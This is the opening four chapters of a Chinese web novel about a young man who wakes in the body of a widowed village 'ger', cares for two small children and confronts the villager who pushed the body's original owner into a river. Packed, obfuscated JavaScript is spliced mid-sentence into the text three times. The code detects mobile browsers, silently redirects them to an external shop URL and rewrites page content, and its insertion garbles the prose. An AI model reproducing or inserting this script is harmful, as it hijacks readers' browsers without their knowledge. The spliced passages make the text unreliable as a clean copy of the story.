《县令家的财迷小夫郎》 1. 第 1 章 初春三月,天还透着凉意。 尤其是夜里,风一吹,寒气从窗户缝隙呼呼地灌进来,屋里一点暖和气都留不住。 这个时辰,村子里静悄悄的。 靠村头那片还能见着几户人家亮灯,到了村尾,别说点灯了,连人家都看不见几户,全是连片的山和坡。 离山脚最近的一户人家,有三间土房、一座小院,虽不宽敞,却收拾得干净。 只是家里听不到一点声,跟没人似的。 瞧着约摸十七八岁模样的少年躺在床上,身子一动不动,脸色苍白,像是病得重了。 姜宁是被一股一股钻进领子里的冷风冻醒的。 闭着眼翻了个身,习惯地伸手去拉被子,心里嘀咕是不是睡前忘记关窗了,怎么这么冷。 谁知这一翻身,姜宁只觉得浑身上下哪都不舒服,一边睁眼一边去摸床头,结果扑了个空,险些摔下床。 姜宁再怎么困,这一折腾也醒了。 瞪着眼往周围一看,他整个人愣住,抬手拍了拍脸颊,又往床头瞥去。不管怎么看,眼前这屋子都不是他房间。 屋外风声很大,根本不像七八月的晚上,反倒像是春、冬时节。 可他不是刚高考完,趁着暑假在家里的农家乐帮忙吗? 这又是什么地方? 姜宁头晕乎乎的,呆坐在床上,适应了一会儿,才借着照进来的月光打量起来。 屋子不算大,墙是黄土刷的,地是黄土铺的,窗户用油纸糊了却破了几个洞。 没什么家具,除了一张床和一个柜子就没了。 姜宁心里很不安,摸着床边想下床,才起身,一段不属于他的记忆轰然在大脑里炸开,他坐回去,条件反射地捂着头。 记忆一段一段的,姜宁闭着眼,胸口起伏明显,终于理清楚了发生什么。 他穿越了。 姜宁睁大眼,茫然地盯着洗得发白的被面。 和他同名同姓的姜宁,也是十七岁,但跟他不一样的是,原主是个苦命的哥儿。 母家嫌他体弱又是个哥儿,一个月前贪图那点彩礼,就把他嫁给了现在这户人家的大郎卫长辉冲喜。 谁知卫长辉病来如山倒,新婚夜未过,就撒手人寰,留下一双年幼弟妹跟一个在外读书的二弟。 原主本是冲喜的,结果喜没冲成,人没了。 村子就这么点大,一传十十传百的,他就成了天煞孤星,克死了卫大。 原主一个十七岁的哥儿,身子又弱,性格还内敛,那些闲话听见了也不管,一个人操持着把丧事办了。 可便是这样,那些闲话还是一点儿没少,甚至连下葬那天,他母家都没来,就托了同村的人带了礼,说是家里有人病了,怕犯了冲撞,不好。 原主知道了,什么都没说,也不生气。 卫家二郎回来治丧,治丧过后又待了几日,半月前便又回了私塾。对原主倒是没什么怨言,反而恭敬有礼。 原主对死去的丈夫没感情,可既已成亲,他回不去姜家,那自然是要待在卫家的。 更何况姜家也不愿他回去,嫌他晦气。 好在原主是个勤快的人,卫家虽不富裕,但也有几亩地,好好操持能吃饱便足够了。 加上卫小小和卫小宝乖巧懂事,原主倒觉得这日子比从前在家好多了。 然而,天不遂人愿,原主身子弱,怕是—— 没熬过这倒春寒的时节。 姜宁捞起被子,往身上裹紧了些。 好冷啊,他好想回家。 姜宁觉得挺莫名其妙的,他怎么睡一觉醒来就到这里来了,成了一个能跟男子成亲生子的哥儿。 他心中纳闷,难道就因为同名所以才是他来了? 事到如今也没别的法子,且走一步看一步,好歹不能让自己和那两个小娃娃饿死。至于家里,还有哥哥和姐姐在,要他真不在了,父母身边也有人在。 从小到大,姜宁出了名的情绪稳定,反正嘛,天塌下来还有个高的顶着,他有什么好愁的。 面对家徒四壁的新日子,姜宁没一会儿就把自己哄好了,裹好被子,觑着门的方向,心里琢磨去把窗户洞补上,还是先闷头睡一晚。正犹豫着,忽然想起什么,轻呼了声,连忙裹着被子下床。 穿鞋的时候,不太适应还差点被布鞋绊了一跤。 “哎哟!”姜宁踉跄地穿好鞋,搓搓胳膊,开了房门,凭着记忆推开了隔壁的门。 差点忘了,这家里不止他一个人,还有两个小孩,才五岁大。他都熬不过倒春寒,虽有体弱又落水的缘故,但小孩更加熬不过了。 古时平均寿命低,不是人只能活那么短,是小孩早夭太多,加上医疗条件不好导致的。 要是不早夭、少生病,活到七老八十的也不少。 进屋后,姜宁反手关了门,摸索着往床边走。 屋子比他刚才住的那间要小点,却也一模一样的冷,感受不到一点暖和气,屋里屋外没什么两样,不过风小一点罢了。 不大的床上躺着两个小孩,家里都没多的被子,俩小孩盖一床,手脚都伸在外面了。 姜宁走过去,弯腰给他俩拉被子,心里琢磨,要不他也上床一块睡得了,人多还暖和。 要不然这一整夜他进进出出的,更是折腾。 他拉着被子往上提,不小心碰到了睡在外边的卫小小,担心吵醒人的心思才生出来,忽地觉出不对劲来,往小姑娘额头上探去。 一阵热意,贴着手背漫开。 姜宁瞪大眼,连忙扯开身上的被子,随手扔到床上,轻轻拍着卫小小的脸,“小小,小小?!” 卫小小身上发烫,睡得不安慰,因着发热才把手脚伸到被子外,这会儿听见声,迷迷糊糊地睁眼。 “宁哥哥……天亮了?” 姜宁松了口气,幸好人没有烧晕过去,不然他还真没把握能让人退烧。 “你发烧了,我去打盆水来,先给你退热,你盖着被子别动,等我回来。” 卫小小点点头,躺在那儿,小脑袋往旁边扭,“那哥哥呢?” “我抱他去隔壁屋子睡。”姜宁弯腰,用被子裹住卫小宝,正要把人托着抱起来时,差点整个人摔到床上去。 “……” 这宁哥儿身子果然是弱了些,五岁的小孩抱起来都费劲。 “你们在做什么?”卫小宝揉着眼睛问:“宁哥哥,你怎么在这?要吃饭了?” 姜宁:“……” 咽下无奈的叹气,道:“妹妹发烧了,我在这儿照顾她,不过得带你去隔壁屋子睡,免得传给你了。” 卫小宝一听妹妹发热,连忙抓住她的手,“我不要走,我要在这里陪她!” “可是你也发热了的话,我一个人照顾不了两个人,到时候可就麻烦了。”姜宁是家里老幺,按理说应该是被宠坏的性子。 奈何他那些表弟表妹、侄子侄女不少,每年寒暑假都会回老家,在他家的农家乐里到处野。 对付小孩的办法,他不说百分百,但百分之九十是有的。 闻言卫小宝一脸纠结,半天才松了手,“那我听你的。” 姜宁给他裹好了被子,换了个抱人的姿势,费了不少劲,终于把卫小宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616578|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱起来,“小小,你乖乖的啊,我把你哥带过去就回来。” 两间屋子就挨着,姜宁飞快把卫小宝放到床上,感慨人小就是好,被子折一道,瞬间就厚实了不少。 他理好背角,认真道:“你也乖乖的,我保证天一亮,小小的病就好了。” 卫小宝抿着唇,点点头,“我会乖的。” 姜宁“嗯”了声,往外走道:“那我去照顾小小了。” 小孩子发热,就算是在现代,用药都是很仔细的。 这会儿姜宁没办法弄到药,只能用最原始的物理降温,打了一盆水坐床边,弄块帕子给她放额头,又一直给她擦手心、脚心。 原主睡前在灶里还留了火,上面放了一口锅,姜宁去换水时,发现水是烧开了又这么温着,干脆倒了一大碗回屋,盯着卫小小喝下去。 姜宁一晚上都没怎么合眼,外面的天才微微泛白,就一阵接着一阵的公鸡打鸣声传来。 想睡也睡不着了。 他打了个哈欠,伸手去摸卫小小的额头,只是温热,烧已经退下来了。 还好发现得及时,不然烧一晚上,不傻也痴。 姜宁心里一松,往外看,发现天亮了不少,便站起来,揉揉胳膊和腿,伸着懒腰往屋外走。 来都来了,他不得好好看看这地方啥样,以后还得生活呢。 小河村不大,从村头到村尾就三十来户人家。 姜宁是外村嫁过来的,才一个月,又不怎么出门,除了地里就是家里,可以说是人生地不熟,村子里那些人,除了村长,大多都是卫大丧礼上才见过。 姜宁叉着腰环顾一圈,深吸一口气,山风裹着凉意吹来,脸上神情一下松快许多。 在院子里待了会儿,姜宁搓着胳膊去厨房,简单地做了个盘查。 他以前就常做,家里采买盘货,他比谁都清楚。 粗粗翻了一圈,家里还有些粮食,柴火也有,看来在他想出怎么改善生活前,暂时是饿不死了。 有吃的,那就什么问题都没了。 姜宁哼着小调回屋,从柜子里翻了身衣服换上,梳头的时候才发现,家里没镜子。 他倒没在意,随手给自己扎了个马尾,发带一绑,利索得很。 俩孩子都还在睡,他简单洗漱过后,钻到厨房里,坐在小马扎上,四处找打火石、火折子。 这玩意儿难道不该放在趁手的地方吗? 家里除了做饭烧水,别的地方也用不上这些东西啊。 姜宁心里犯嘀咕,刚打算去堂屋里找找,说不定是夜里点灯,顺手就放在那儿了也说不定。 起身拍了拍衣摆,抬脚往外走,一抬头,瞧见个身量纤细的少年在院外向他招手。 姜宁一怔,愣了下,左右看看后指了一下自己,“你是在叫我?” “宁哥儿,王栓他娘带着他过来了,还有几个人,说是要找你讨说法。” 姜宁听到这名字,脑子里一疼,像被针扎了似的。 皱了皱眉,盯着竹篱笆外的少年,昨夜糊里糊涂没想起来的事儿,这会儿全记起来了。 给他报信的少年跟他一样,是个哥儿,叫赵秋,就是小河村的人。 年纪还小他一岁,没定亲。 至于那个王栓,是小河村的人,二十岁了才从外村娶了个哥儿回来,性子顽劣,仗着他爹给镇上员外家里打杂工,自以为是。 这些都不重要,重要的是,原主落水一事,罪魁祸首就是这个王栓。 好个杀人凶手,他没去讨个说法,倒是自己找上门来了。 来得正好,省得他去找了。 2. 第 2 章 “我还没找他,他倒是自己上门来。” 姜宁低估了一句,拍了拍衣角,走到竹篱外,探头往路那边看,“谢谢秋哥儿报信,回头请你吃好吃的。” 赵秋身量比姜宁纤细一些,一眼看去就知道是哥儿。 他一听姜宁的话,惊愕地瞪大眼,伸了伸脖子,低声问:“王家婶婶可凶了,又护短,你要不躲躲?就装不在家,他也不能硬闯。” 姜宁知道赵秋是担心自己,安抚地冲他笑了笑,“没事,光天化日,他还能对我怎么样?” 再往路上瞥了眼,看到了五六个人,道:“倒是你,快回去吧,别被他家人撞上,知道你给我通风报信,以后为难你。” 赵秋欲言又止,回头看了看,到底是胆小,怕真被王栓缠上了。 只好点点头,“那你小心些,我绕另一条路,帮你去找杨二爷来,他在村里声望高,人又公正,谁面前都能说上话。” 姜宁还没来得及拦他,人就跑了。 瞅着跑出去的背影,心想这位杨二伯来了也好,待会儿王栓他家要做了什么事,得有人在旁见证,也免得日后纠缠不清。 想好了这事,姜宁转身打算去先把火烧起来。 坏人得解决,但肚子也不能空着,从昨晚到现在,他肚子里空空的,饿得慌。 “宁哥哥,你刚才和谁说话?” 姜宁听到声音吓一跳,转头仔细看去,才发现站在门边揉着眼睛的韦小宝。 他抚了抚心口上前,“路过的,随口聊两句。” 瞥见小家伙衣服都没穿,姜宁拉着他往房间走,“走,哥哥带你先把衣服穿了,你就帮我守着妹妹,我去给你俩做吃的。” 卫小宝一听有吃的,哪里顾得上竹篱外是谁,眼睛一亮,猛地点头,“嗯!那我去看妹妹!” 姜宁走过去牵起他手,领着人往屋里走,心里感慨,这对龙凤胎真听话啊,换作他家那些侄子侄女,立即会问他吃什么,好不好吃,还会提要求,自己想吃什么。 安排好两个孩子,姜宁回厨房弄早饭。 家里粮食不多,但好在有米面,他一边烧水一边和面,打算弄个面疙瘩汤,管饱还省事。 里边随便搁点菜,再放点肉丁和辣椒调味,一碗下去,能顶一天。 刚往面里倒了水,就听到院子外一阵吵嚷。 姜宁抬头看去,微微眯起眼,打量起外边的那几个人。看清那几人的样貌后,算是明白了什么叫相由心生。 这一家子,瞧着就不是善茬。 “卫家的,我知道你在家,你别躲着了!赶紧的出来,再不答应,我们可就硬闯了!” 外边嚷了一嗓子,嗓门大得二里地外都听得见。 姜宁从小在乡下长大,半点没吓着,左右看看,瞥见了背篓里的镰刀,顺手抄起来就钻出了厨房棚子。 袖口挽了起来,露出一截细白的手腕。 “嚷什么,来了。”姜宁抹了抹脸,提着镰刀往门口走,故作惊讶道:“是你们啊?有事啊。” 他也不开门,就隔着几步的距离站住,微微抬起下巴瞥那几个人。 王栓娘是个泼辣的,出了名的剽悍还护短,甭管出了什么事,都指定是别人的错,绝不可能是她家里的人。 她一见姜宁,变叉着腰,指着姜宁,“好你个卫家的啊,刚没了男人一月,就忍不住勾引我家栓子了是吧?!仗着你那张脸,成天在田里地里晃来晃去,生怕别人看不到,谁家哥儿像你似的,一天不知道好好操持家务,就知道在人前晃悠——” 说到一半,一口气没上来停了停,才接着说:“我告诉你,就算栓子鬼迷心窍看上你,那你也进不了我家的门!” 姜宁听完头都大了,这都是什么跟什么,他勾引别人? 瞥一眼站旁边,脸上和脖子上明显被指甲挠了的王栓,他默默移开视线。 审美得多差,才能看上这么个人。 不说人品了,就说相貌啊,说句能看那都是客气的了。 “我真看不上。”姜宁叹了口气,“王家婶婶,你大清早的不去地里,上我家来闹什么呢?” “你看不上你给人挠成这样?”王栓娘嗓门拔高,“昨天你是不是在河边洗东西了?我儿子去河边一趟,就碰见你了,回来脖子和脸就成这样了,你——” 王栓一听,脸色变了变,扯了扯他娘衣服,没说话呢,就被瞪了一眼,只好闭了嘴。 又怂又坏,是一点没主意的。 姜宁乐了,笑着问:“那婶子,你要不问问他为什么被我挠?他要不欺负人,我没事找事啊。” “栓子老实得很,他要真想对你做什么,能让你挠成这样,你——” “给你点脸,你怎么还开染坊了呢。”姜宁见过不讲道理的,但没见过黑白颠倒还挺会洗脑自己的。 “他老实?他要老实,公猪都会下崽了。” 王栓娘吃惊地瞪着姜宁,一时间没反应过来。 十里八村的谁不知道,坎子村的姜家小哥儿是性子软的,平时在家里受冷眼惯了,嫁到小河村来,受了不少闲言闲语,也没跟人红过脸。 别的不说,话是真的少。 “你——” 姜宁听到开门声,回头见是俩孩子趴在门缝后边看,使了个眼色,不耽误他挤兑人,“我什么?你宝贝儿子我理解,但到别人家来撒野就不对了。” 他话锋一转,“又不是我儿子,还得我管教。” 这下不止王栓娘脸色难看了,跟着她一块的小舅子脸色也不好看,这不是占他们便宜么。 姜宁眸子一转,看向王栓,“哎,昨天在河边,你说是我先招惹你,挠你的?” 王栓被姜宁一问,尤其语气透着轻蔑,立即上钩,“你蹲在那儿,见我来了就回头叫我,难道还不叫招惹我?” 姜宁没否认,顺着他话往下说,眼睛还往外边路上瞟,“那你说我为什么挠你?” “你哄我在河边跟你说话,然后翻脸,说我要不给你钱,你就跟我家哥儿说我调戏你——” “我是不是还说,你家哥儿知道了肯定跟你闹脾气,所以威胁你给我钱,你不给,我就挠你,然后你就推了我一把,想杀我灭我口,看我掉进河里立即跑了。” “我才没想害你!我就推了一下,是你自己站不稳掉进去——” 王栓话还没说话,旁边王栓娘立即打了他胳膊一巴掌。 姜宁挑眉,往他们身后看去,“杨二爷,您来了。” 他声音清亮,这会儿敞开嗓子一喊,听着倒是悦耳,可惜王家那几娘舅,脸色一个比一个难看。 这位杨二爷不是别人,是十里八村唯一秀才,在小河村比村长还有威望。 年轻时在镇上私塾教过几年书,后来腿脚不便,才回到村子里养老,办了个小学堂,教愿意上学的小孩读书识字。 所以小河村比起周围的几个村子,可要有名得多,其他村也愿意把人往这儿嫁。 王栓家的哥儿跟姜宁一样,都是家里给定的。 要不正常人家,也断不会把哥儿许给王栓这样的,或者卫大这样将死的。 “混账!” 杨二爷杵着拐杖走上前,瞪着王栓娘,“胡闹,简直是胡闹,大早上的上人家里来闹,有辱斯文!” 王栓娘敢怒不敢言,立即赔笑道:“二叔,您怎么来了?我这——” “这什么这?昨天你家栓子打我院子门口过就慌慌张张的,我寻思什么事,原来是差点害了人!” 杨二爷往地上杵了杵拐杖,斜一眼王栓,“子不教父之过,看看你们教出来的孩子,成什么样!” 王栓娘一听不干了,忍不住回嘴,“二叔,卫大家说的也不全是真的,您可不能全信?再说了,是他先招惹我家栓子的,难道我家栓子放着家里的哥儿不相好,还去外头寻一个刚死了男人的寡夫郎啊!” 瞥一眼姜宁,小声道:“谁不嫌晦气!” 姜宁站在一旁不吭声,低着头,脸上还挂着面粉,瞧不见神情,可光这么看,也觉得可怜。 “你还说!人命关天的事,要不是宁哥儿今天还活着,你家栓子今天就要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616579|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢里蹲着!” 杨二爷心明眼亮,哪能不知道是王栓招惹的姜宁,“别丢人了,赶紧给人宁哥儿道歉!” 王栓从小到大都被惯坏了,哪里道过歉,都是别人给他道歉,立即嚷道:“我给他道歉?我就碰他手一下,推他一下,我道——” 完了,又说漏嘴了。 这下王栓娘就一嘴的歪理,也糊弄不过去。 杨二爷举起拐杖就往王栓身上打,“你个混账东西,亏得还叫我一声舅爷,就你这样的,叫我我都不敢答应!” 王栓“哎哟”一声,往他娘身后躲。 姜宁这会儿才抬起头,往杨二爷那儿看去,“二爷,您是长辈,今天正好在场,那就做个见证,家里卫大才走,虽说是人走茶凉,但尸骨未寒,便是从前他跟卫大有什么过节,也不该这样欺负我们一家。” “一个村的,井水不犯河水,他家不来闹,那我也不会再计较。但他们要再这么找茬,我就该怎么办就怎么办了。” “谁跟你家卫大有过节啊!那是他自己短命不成器,穷得兜里没三分银,还送他家老二去什么私塾,也没见家里发大财啊!” “栓子!”杨二爷呵斥道:“给人宁哥儿道歉!” 姜宁皱眉,看来王栓以前就看卫大不顺眼了,后来更是对原主的不轨之心。 原主体弱却不胆小,在河边被这人渣拦住想占便宜,就对他又抓又挠,才被推到了河里。 尽管当时爬上来,但受惊着凉,才丢了一条命。 “我——” “道歉!” 王栓娘领着一群朝卫家来,一路上,有不少人看到。 过了这会儿功夫,又到了上坡下地干活的时辰,经过时免不得好奇看过来。 杨二爷一脸怒意,身边跟来的孙儿担心扶着他,气急道:“你们再不道歉,就去请郑大来,到时候把你们都扭送去衙门,好好说说,该不该赔礼道歉!” 郑大是小河村的村长。 一听要去衙门,这几人哪还敢不道歉。 几个小舅子连忙跟姜宁说对不起,王栓再横也怕了,畏畏缩缩地低头道歉,只有王栓娘,梗着脖子红了脸。 见状姜宁嗤了声,“婶子的道歉我是受不起,往后别再来我家里闹才是,我们小门小户,比不起你们横行霸道。” “你个哥儿,牙尖嘴利,难怪克死卫大!” 姜宁眉头一皱,想到原主的遭遇,刚要上前说什么,忽地愣住。 原主是没熬过去,可是他又来了,旁人眼里,他活得好好的,王栓再怎么可恶,他也没办法帮原主讨个说法。 真可恶,他只能日后再替原主报仇了。 这笔账他记下了。 “人有生老病死,更有祸福旦夕间,卫大因病离世是遗憾,但婶子——”姜宁那双好看的眼底不见半点情绪,冷冷淡淡的,瞥一眼王栓,“有的人死了也是死有余辜。” 王栓娘一怔,说不出话,抖着嘴唇。 姜宁懒得理他们,转头看向杨二爷。 他记得杨二爷今年都六十有余,赵秋一去报信就赶来,心中有点歉疚,“二爷,劳烦您来一趟,快些回去休息吧,改日我带小小和小宝去给您道谢。” 杨二爷望着姜宁,感慨地叹了声,让身边孙儿把放地上的篮子递给他,“自家地里的,正好给你送来。” 又往屋里看了眼,“俩孩子还好吧?” “小小昨日发了烧,好在发现早,这会儿退了。”姜宁没接篮子,正要拒绝,被杨二爷打断。 说他要不收,就是看不起老头子。 姜宁接过篮子,一脸乖巧地道谢。 王栓家那些人早就想溜走了,生怕杨二爷真让人去叫村长,到时候去衙门,可是要挨板子的。 他们刚一转身,迎面撞上一人,身量不算高,还带着少年的单薄,手里拎着个包袱,一双眼睛直直地盯着他们,像只被惹怒的狗崽子。 王栓娘第一个反应过来,下意识把王栓往后扯,结巴道:“卫、卫二郎……你、你杵在这里吓人作甚?!” 3. 第 3 章 卫家二郎? 不止王栓家的人惊讶,院子里正要送杨二爷离开的姜宁也是一愣,下意识地抬头往外看。 卫长昀站在那儿,尽管身量不如成年男子那样健壮,可眼底的愤怒却让他看上去格外不近人情,透出一股凶劲儿。 姜宁看着,在心里想要是一会儿打起来了,他要不要趁乱上去踩两脚。 换作以前他自己的身体,早就教王栓怎么做人了,但现在他连揉个面都觉得累人。 得悠着点。 “长昀回来了?” 杨二爷的一句话,打破了僵持的氛围,王栓家那几个赶紧绕开卫长昀跑了。 卫长昀回头看一眼,抿抿唇,拎着包袱推开半掩的门进了院子,恭恭敬敬朝杨二爷行礼。 “学生见过老师。” 他又看了一眼姜宁,略微弯腰,“嫂嫂。” 姜宁轻轻地“哎”了声,漆黑的眼珠转了转,微微睁大眼,明白了这两人的关系。 杨二爷是秀才,回村后办学堂,定是教过卫长昀的。 别的不说,卫家这几兄妹的关系是真好,卫大一人带三小的,还能让卫长昀去上学,是真有远见。 懂不懂知识就是财富的含金量。 杨二爷拍拍卫长昀的肩,道:“我已经教训过他们,你不要放在心上。难得回来几天,就在家里好好待着,别置气。” 卫长昀神色微动,点头答应道:“学生知道,我送老师——” “师兄你才回来,歇着吧,阿爷我扶着呢。” 卫长昀站在原地,犹豫了会儿,才侧身让开,目送两人走远了才转过身,目光落在姜宁身上。 说实在的,卫长昀对这位刚过门的大嫂并不熟悉。 上一次他回到家里,是为大哥治丧,与这位嫂嫂相处也不过那小半月的时间。 家里每日都有不少人,人来人往,要忙的事情又多,从置办寿衣、棺材到请人办席、道士诵经,忙得脚后跟打后脑勺,一日也未必说得了几句话。 等下葬了,他们更没什么说的了。 卫长昀的印象里,眼前这位大嫂,不过就两个词形容。 容貌迭丽,沉默寡言。 像是长在山间、水边一株开得正好却不知名的花,无人得知内里模样。 “我正准备做个面疙瘩汤,才生火他们就来找茬。”姜宁想抬手擦脸,发现还握着镰刀,尴尬地放下,“你回来得正好,帮个忙?” 姜宁神经粗,大咧咧地问卫长昀,“还是你要先去看那俩小孩?小小昨天发烧,不过已经退了,小宝在屋里守着她。” 卫长昀眼里闪过错愕,“……帮什么忙?” “生火啊!”姜宁拎着镰刀往草棚搭的厨房走,瞥眼门后那两小家伙,“还看热闹?你们二哥回来了,也不出来迎接迎接。” 卫长昀自知刚才那话问得傻了,捻了捻拎着包袱的手指,余光扫向厨房。 “二哥!真的是你回来了?” “二哥二哥!我要抱!” 卫长昀收回视线,弯腰把跑出来的卫小小抱起来,摸摸他额头,“难受?” 卫小小眼睛亮亮的,摇头,“不难受,好啦。” 卫长昀“嗯”了声,抱着一个,牵着一个回了屋,把包袱放桌上,挽起袖子,想起什么,往屋里的柜子看了眼。 “二哥,我饿了。” “我也饿了。” 闻言卫长昀压下心思,挽起袖子朝外走,“我去帮……帮忙。” 卫长昀出来的时候,姜宁正一脸郁闷地揉面。 平时习惯了家里的那种精面,揉这个粗面一点都不得劲,加上身体没养好,才一会儿就累得大喘气,旁边的火没人看,眼瞅着就要灭了。 姜宁嘀咕道:“早知道不做这个了。” 话音刚落,旁边就传来一道声音。 “我来吧。” 姜宁猝然回头,略有心虚地笑了一下,“你会揉吗?其实我也可以——” 卫长昀点头,伸手拿过盆,“会。” 停顿了下,怕姜宁不明白,又补了一句,“跟大哥学的。” 斯人已逝,还需珍惜当下。 当然姜宁不是那么没眼力见的人,人家兄弟感情好,他一个外来的劝人放下,多少是站着说话不腰疼。 姜宁没坚持,挪到一边坐小凳子上去生火。 之前办席剩下的柴还有,所以不用买也不用上山去砍,给姜宁省了不少力气。 往灶里添了几根柴,姜宁手肘撑着膝盖,坐姿十分随意,脸上又是免费又是灶灰,要不是耳垂那颗小红痣醒目,一点不像哥儿。 “你怎么突然回来了?学校放假了——”姜宁经过一早上“斗反派”的洗礼,心情放松过头,差点露馅,一个急刹车,改口道:“我是说,私塾放假了?” 卫长昀站着,姜宁坐着。 厨房不大,所以余光基本能扫完全部,所以卫长昀也不是有意观察姜宁。 听到姜宁的话时,他心里只是想,姜宁看上去一点也不难过。 “……”卫长昀沉默了下,揉面的动作顿住,“没。” 姜宁瞪大眼,惊愕地扭头看卫长昀,“……你逃课?” 卫长昀:“……” “没。” 姜宁觉得他性子已经挺慢了,眼前的卫长昀怎么比他还离谱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616580|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 戳一下动一下,问什么就答什么。 姜宁想到卫家条件这么差了,还愿意供卫长昀上学,他居然逃课,表情严肃起来。 怎么能逃课呢,知识就是财富! 不好好上学,以后打工卖力气都要被人骗的。 至少读完初中再去打工,九年义务得完成吧,认字总比不认字强。 “你怎么能逃课?”姜宁没拿家里省吃俭用供你上学那套问,只说:“是不是有人欺负你?还是先生给你小鞋穿了?” 卫长昀眼里缓缓出现疑问,不知道是震惊多一点还是困惑多一点。 姜宁手里拎着一根木条,眉毛快拧成一团,“要是有人欺负你,你说出来,我去给你讨个公道,不带校园霸凌的。” 卫长昀虽听得一知半解,一边惊讶于姜宁和半个多月前的不一样,一边往旁边挪了点,避开他手里那根木条。 “我退学了。” “退学了好,退——” 姜宁瞪大眼睛,一下站起来,“你退学了?!” 卫长昀低着头,没看他,“嗯。” 姜宁懵了,好半天没回神。 过了好一会儿,他才反应过来,蹙眉盯着卫长昀。 其实他俩站在一起,他比卫长昀还高小半个头,少年沉默地站在灶台前,揉着一盆面。 少年身上衣裳洗得发白,可却干干净净。 姜宁张了张嘴,又什么都没问,其实想也知道卫长昀为什么会退学。 能为什么? 穷人家的孩子,上学是一件奢侈的事。 放到现代都多少山区孩子上不起学,就算有义务教育,家里太穷了,孩子也没时间上学,得去割猪草、做农活。 更别说他现在这个时候,连认字的人都没多少。 姜宁家里不算富裕,但哥哥姐姐年纪比他大不少,所以他一出生,得到了很多爱,也没为生活发过愁。 爸妈辛苦种地,供出哥哥姐姐两个大学生。 等到他上学的时候,家里开了小卖部和农家乐,赶上返乡创业、旅游潮,日子好过了很多。 “不能退学。”姜宁板起脸,认真道:“等小小好一点,我就跟你去私塾,向先生赔礼,送你回去上学。” 卫长昀依旧低着头,盆里的面已经揉好了,“我不回去。” 姜宁伸手拉了一下他胳膊,耐着性子问:“那你不上学,要做什么?” 卫长昀终于看向他,“种地。” “……” 姜宁磨了磨后槽牙,收回手,按着太阳穴,“然后呢?” 卫长昀终于察觉到姜宁平静之下的怒意,又退了一步,“养家。” 4. 第 4 章 姜宁气笑了。 他刚想质问,倏地灵台清明,想起什么来,微微抬眼,便对上了卫长昀的眼睛。 那双眼睛里没有一点遮掩,也无半点不甘。 只是在平静地陈述养家这个事实。 长兄离世,家里只剩下他一个算得上劳动力的人,所以退学养家,理所应当。 不然年幼的弟妹,和一个刚过门就没了丈夫的体弱哥儿,在村子里如何生活。 短时间还行,日子久了,总是会被人欺负。 姜宁方才觉得到嘴边那一腔说辞荒谬,脸颊微热,心里有些臊得慌。 还好没说出口。 “你才多大,如何养家?你从前都在学堂、私塾里,种地要知节气、分五谷,还得每日去地里翻土、除草,可都不容易。”姜宁放缓了语气,道:“我知你惦记家里,但一声不吭退学,是不是有些冲动了?” 厨房里的光线并不算亮堂,尤其是今儿天阴着。 卫长昀心里诧异,他刚才还以为姜宁会生气,却没想到他一点不生气,眼睛睁大了些,又很快敛眸道:“我是考虑过后才做的决定。” 姜宁一怔,被他一句话堵得没反应过来。 “你考虑了什么?” 他俩这一来一回,都把对方问住了。 灶台里的火烧得正旺,嵌在灶上的大铁锅,水已经烧开了,噗噗往外冒热气。 “我只知道,我得养这个家。”卫长昀是家里性格最不一样的孩子,寡言正直,从小就脾气倔,决定的事,谁都劝不动。 除非你能说服他,比他还能说。 姜宁算是服了这个小叔子,手搭在腰上,望着他笑起来。 卫长昀被他这一笑,弄得更糊涂,薄唇抿了抿,“而且,我十六了。” 十六怎么了,高中都没毕业。 姜宁在心里嘀咕了句,还想再说什么,往外瞥见卫小宝不知道什么探出个脑袋往这儿看,立即把话咽回去。 大人吵架,不利于小孩心里健康和成长。 “水开了。” 旁边传来卫长昀刚变完声的一句话,姜宁没好气瞪他眼,上前把盆挪到自己面前,“话题转移得太生硬了。” 生在农村的人,哪有不会干活的。 姜宁做事很利索,大概是因为上初中后,家里开了农家乐,一开始都家里人自己做,他学了不少。 面团先切块再切条,又把篮子里的葱花和辣椒、土豆洗干净,辣椒切成丁,土豆切成条。 土豆和面条一起放,等煮得差不多,再往里放辣椒丁,一小勺油跟一勺盐。 “那这几天你先待在家里,想想要不要去上学。”姜宁盖上锅盖,回头道:“要你想去,那我就跟你一块去给先生赔礼,让你回去上。” “若你要是不想……” 姜宁停顿了一下,道:“你是担心家里没钱,所以才回来?” 姜宁不喜欢遮遮掩掩,过日子当然是要敞亮的,尤其是一家人,要连话都说不开,那还怎么过? 卫长昀坐在小板凳上,听见后抬头看姜宁,半晌才“嗯”了声。 果然还是钱的问题。 姜宁想着,没再说别的,毕竟他才来一晚上,别说挣钱了,连家里的财产都还没摸清楚。 锅里的热气往外散,逐渐能闻到香味。 